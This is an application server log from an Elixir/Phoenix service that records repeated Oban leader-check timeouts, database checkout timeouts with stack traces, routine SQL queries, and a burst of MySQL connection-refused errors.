[Thu Sep  3 06:41:00.904000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Thu Sep  3 06:41:05.386000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 06:41:39.422000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Thu Sep  3 06:41:44.423000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Thu Sep  3 06:41:48.563000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 06:42:23.612000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Thu Sep  3 06:42:28.613000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Thu Sep  3 06:42:30.240000 2026] [Bandit.Logger:error] [pid 2816631] [client -] ** (Bandit.TransportError) Unrecoverable error: timeout
[Thu Sep  3 06:42:32.758000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 06:43:06.790000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Thu Sep  3 06:43:07.761000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Thu Sep  3 06:43:11.792000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Thu Sep  3 06:43:16.255000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 06:43:49.293000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Thu Sep  3 06:43:54.294000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Thu Sep  3 06:43:58.299000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 06:44:31.336000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Thu Sep  3 06:44:36.337000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Thu Sep  3 06:44:40.400000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 06:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.7ms idle=1781.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 06:46:52.103000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Thu Sep  3 06:54:56.454000 2026] [Phoenix.Logger:info] [pid 2816631] [client 172.235.41.44:4116] GET /
[Thu Sep  3 06:54:56.455000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 172.235.41.44:4116] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 06:54:56.455000 2026] [Phoenix.Logger:info] [pid 2816631] [client 172.235.41.44:4116] Sent 200 in 926µs
[Thu Sep  3 06:56:24.707000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=1.1ms queue=0.3ms idle=1593.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 07:00:00.515000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=3.6ms idle=1334.9ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-03 07:00:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Thu Sep  3 07:02:49.149000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Thu Sep  3 07:03:40.387000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Thu Sep  3 07:03:45.390000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Thu Sep  3 07:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=1.1ms idle=1491.5ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 07:10:54.706000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Thu Sep  3 07:10:54.708000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:10:55.187000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Thu Sep  3 07:10:55.188000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:10:56.209000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:10:56.242000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.603.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Thu Sep  3 07:10:56.243000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.602.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Thu Sep  3 07:10:56.243000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.604.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Thu Sep  3 07:10:56.243000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.597.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Thu Sep  3 07:10:56.243000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.605.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Thu Sep  3 07:10:56.243000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.600.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Thu Sep  3 07:10:56.243000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.598.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Thu Sep  3 07:10:56.245000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.603.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:10:56.245000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.604.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:10:56.246000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.597.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:10:56.246000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.605.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:10:56.246000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.598.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:10:56.246000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.600.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:10:56.246000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.602.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:10:56.273000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Thu Sep  3 07:10:56.276000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:10:56.338000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:10:57.242000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.599.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Thu Sep  3 07:10:57.242000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.606.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Thu Sep  3 07:10:57.242000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.601.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Thu Sep  3 07:10:57.244000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.606.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:10:57.244000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.601.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:10:57.244000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.599.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:10:57.250000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.605.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:10:57.279000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Thu Sep  3 07:10:57.279000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Thu Sep  3 07:10:57.280000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Thu Sep  3 07:10:57.280000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Thu Sep  3 07:10:57.280000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Thu Sep  3 07:10:57.280000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Thu Sep  3 07:10:57.281000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Thu Sep  3 07:10:57.283000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:10:57.282000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:10:57.283000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:10:57.283000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:10:57.286000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:10:57.286000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:10:57.286000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:10:57.323000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:10:57.396000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.598.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:10:57.524000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.597.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:10:57.908000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.602.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:10:58.244000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:10:58.259000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.605.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:10:58.425000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.600.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
